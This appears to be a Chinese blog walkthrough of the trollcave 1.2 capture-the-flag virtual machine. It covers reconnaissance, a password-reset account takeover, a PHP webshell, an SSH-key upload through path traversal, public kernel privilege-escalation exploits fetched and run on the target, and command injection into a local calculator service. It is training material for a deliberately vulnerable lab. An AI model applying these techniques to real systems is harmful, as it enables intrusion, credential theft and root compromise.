靶机训练2 - trollcave: 1.2
二, 靶机训练2 - trollcave: 1.2
-
参考文章
前期准备
- 环境
- 靶机推荐安装VirtualBox,因为VMware 可能获取不了 ip
- (102条消息) VirtualBox的下载与安装_白清羽的博客-CSDN博客_virtualbox安装
- 安装了virtualbox后,vmware中的虚拟机网络桥接模式下无法联网
- 靶机介绍
- 从一个一无所知的虚拟机中(没有用户名和密码),里面有一个简单的社区博客网站和一堆用户。从这个点出发,可以枚举计算机的运行服务和一般特征,并设计出通过查找和利用漏洞和错误配置来完全控制它的方法。
- 目标
-
- 获取shell
- 获取 root用户主目录下的 root/flag.txt文本文件
-
1. 信息收集
主机发现
-
kali下
-
ifconfig nmap -sP 192.168.31.0/24 -sP: 只进行Ping扫描,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现
-
端口扫描
nmap -sV -sC -A 192.168.31.214
-sV 表示探测目标机器上的服务信息
-sC sC参数表示使用nmap脚本进行探测
-A 显示路由等信息
- 开放了22 和 80端口
目录扫描
-
利用 gobuster 进行目录扫描,并尝试访问目录
-
gobuster dir -u http://192.168.31.214/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
-
- 访问admin,会跳转到登录页面,因为需要登录后才能访问
收集用户信息
- 通过点击King,可以看到他是管理员,点击其他用户是普通用户
- 通过切换这个user id 可以尝试到有17个用户
- 可以手动去记录用户名和等级
King:Superadmin
dave:Admin
dragon:Admin
coderguy:Admin
cooldude89:Moderator
Sir:Moderator
Q:Moderator
teflon:Moderator
TheDankMan:Regular member
artemus:Regular member
MrPotatoHead:Regular member
Ian:Regular member
kev:Member
notanother:Member
anybodyhome:Member
onlyme:Member
xer:Member
- 也可以通过编写 python 脚本进行获取
- 尝试登陆,查看提示信息
- 还可以通过burpsuite 抓包去获取提示信息
- 还可以通过python脚本去获取这个提示信息
2. 确认源码
- 通过谷歌插件 Wappalyzer 可以识别出网站采用了那种 web 技术
- ruby
-
网站有提供密码重设的介绍,但连接无法访问(下面就是找办法去访问)
-
192.168.31.214/users/password_resets
-
- 通过百度和翻译去其中的突破点
- 看到网站使用了 rails 技术
- 可以通过github等途径去查看其源码,找到密码重置的突破点
- 可以尝试安装发现该模块
-
百度查询rails的重设密码功能,在url最后是
/new
加在刚刚得到的目录后面成功得到密码重置页面,找到重设密码的路径应为-
http://192.168.31.214/password_resets/new
-
- 尝试给管理员用户重设密码,发现只能给普通用户重设密码
- 在重设密码页面看到一个xer用户,尝试重设密码后,弹出一个url,访问即可重设密码
- 设置为abc123456789即可进入用户页面
- 可以看到有一个文件上传的功能
-
kali的靶机目录下创建一个一句话木马的php文件 binge.php,尝试上传
-
<?php system($_POST['binge']);?>
-
-
普通用户不能上传文件,尝试修改管理员用户,看看能不能修改权限,刚刚重置xer的时候给的连接最后有个name=xer可能存在越权漏洞可用把xer改为King
-
Reset email sent. http://192.168.31.214/password_resets/edit.qZu16E-YDbB-FKsH5gel_g?name=King
-
-
重置密码后成功进入管理员界面
- 上传文件发现还是不能,但提示需要管理员没有开启这个文件上传功能
- 在admin panel中发现可以开启上传,开启后上传木马文件成功
-
访问文件,获取他的路径
-
/var/www/trollcave/public/uploads/King/binge.php
-
- 但访问文件时遇到一个问题,Ruby 网站是不解释php文件的
-
但前面可以看到靶机还开放了一个22端口,我们可以上传ssh公钥,并用ssh实现登录
-
发现上传的文件可以上传到其他目录(文件可覆盖)
-
可以试试 rails 用户是否存在 ,存在就可以上传 authorized_keys 到 rails 用户下的.ssh 就可以免密码登录 ssh
-
/home/rails/.ssh/authorized_keys
-
-
本地生成ssh秘钥对,并将公钥改名
-
ssh-keygen -f rails mv rails.pub authorized_key
-
- 上传
- 上传时要利用
../../../../../
跳转到根目录,故上传路径为../../../../../../../home/rails/.ssh/authorized_keys
- 上传时要利用
- 查看上传目录是否正确
-
修改秘钥名字,然后进行ssh登录
-
mv rails id_rsa-rails chmod 600 id_rsa-rails ssh -i id_rsa-rails rails@192.168.31.214(这是靶机ip)
-
-
靶机的系统
-
Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-210-generic x86_64)
-
-
改用 交互式shell
-
/bin/bash -i
-
bash
-
-
查看系统版本,是否可以提权
-
cat /etc/lsb-release
-
-
通过google,找到16.04版本有一个漏洞,exp下载地址
-
https://www.exploit-db.com/exploits/45010
-
下载后放到kali下
-
-
exp是一个c文件,先查看靶机是否有gcc编译器,发现没有,需要本地编译再上传
-
gcc 45010.c -o cve
-
-
在上传靶机前,需要进行base64编码
-
base64 cve
-
-
通过靶机的shell ,然后在靶机里新建cve.64文件,把base64编码复制进去,然后进行解码,然后给exp执行权限(直接给777),执行
-
base64 -d cve.64 > exp chmod 777 exp ./exp
-
-
这样子会报错
-
第二种方法上传另一个漏洞也不行
-
先上网下载exp并编译
-
或者通过kali终端搜索
-
searchsploit 4.4.0-116 # 复制到当前路径 cp /usr/share/exploitdb/exploits/linux/local/44298.c ./ gcc 44298.c 44298exp
-
-
-
在exp 的目录下开启python httpserver
-
python3 -m http.server
-
-
在shell中下载exp
-
wegt https://192.168.31.239:8000/44298exp
-
-
遇到一个exp代码错误
- 经过各方排查,发现是下载的靶机的内核版本问题,新的靶机已经修复了漏洞,导致exp无法成功运行
- 重新下载了一个新的靶机,uname -a 查看内核
- 按照一样的步骤成功提权,拿到root权限
- 成功拿到 flag.txt
- 另一种方法
- 查看端口
-
发现3000 端口只能本地访问
-
curl http://localhost:3000
-
-
5432是postgresql数据库
-
查看网站的配置目录并查看其中的数据库配置文件,记录数据库的信息
-
/var/www/trollcave/config 数据库信息 username: tc password: sowvillagedinnermoment
-
-
查看并访问数据库所在目录,访问一下数据库文件
-
sqlite3 development.sqlite3 # 查看帮助文档 .help # 查看表 .tables # 查看表内容 select * from 表名; # 拿到的信息 pwd: uFrrK3dXzWeZQ7JtGgZk4FT # 还可以拿到uesr表的用户密码信息
-
-
退出
-
.exit
-
-
查看etc下的密码文件,如果没有改密码前,是可以拿着passwd下的密码进行密文破解,也是可以登录的
-
cat /etc/passwd
-
-
先查看端口信息,只能本地访问
-
建立一个本地转发
-
进入ssh
-
shift ~ shift C
-
-
进入之后可以通过help进行帮助
-
-L 5432:localhost:5432
-
-
需要用到dbserver
-
apt install dbeaver # 打开 dbeaver
-
-
根据刚刚从数据库文件中获取的用户密码,先测试连接PostgreSQL,然后连接(不选择新建数据库)
-
但里面没有表,没有啥利用信息
-
继续转发8888端口,查看代码执行漏洞
-
-L 8888:localhost:8888
-
- 浏览器访问
- 可以看到,这是个计算器
-
直接点击可能没效果,修改url
-
http://localhost:8888/calc?sum=1+1
-
-
firefox 浏览器设置代理,尝试开启burpsuite 抓包
-
burpsuite
-
-
通过shell 搜索一下 计算器程序文件 calc 的位置
-
/home/king/calc
-
-
查看程序内容,查找执行命令的内容
-
require('child_process').exec;
-
-
放到 burpsuite 中的命令中,尝试看能不能执行命令
-
发现是可以创建文件,但执行命令没有结果(可能没权限),命令要编码
-
# 选中要进行url 编码的 text,然后 ctrl + U cat+/etc/passwd+>/tmp/passd' cat+/etc/passwd+>/tmp/passd
-
-
-
可以换个思路,做一个自己写的文件(有执行命令),编译后,通过shell上传到 /tmp目录,然后执行该文件,就可以使用脚本去执行命令,把exp cp到指定的管理员目录下,执行漏洞,实现提权
-
测试脚本执行命令的可行性,需要给1.sh执行权限
-
chmod 755 1.sh
-
- 开始编写
-
其中的uid提权用的1000 是管理员用户King的uid
-
cat /etc/passwd
-
- 按照前面的方式进行base64编码,放到shell的/tmp目录下
- 建立一个执行脚本1.sh
- 重新改包后发送,就可以执行1.sh中的命令
- 执行exp就拿到了king超级管理员权限
-
切换到 root目录,即可完成
-
sudo su -
-
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现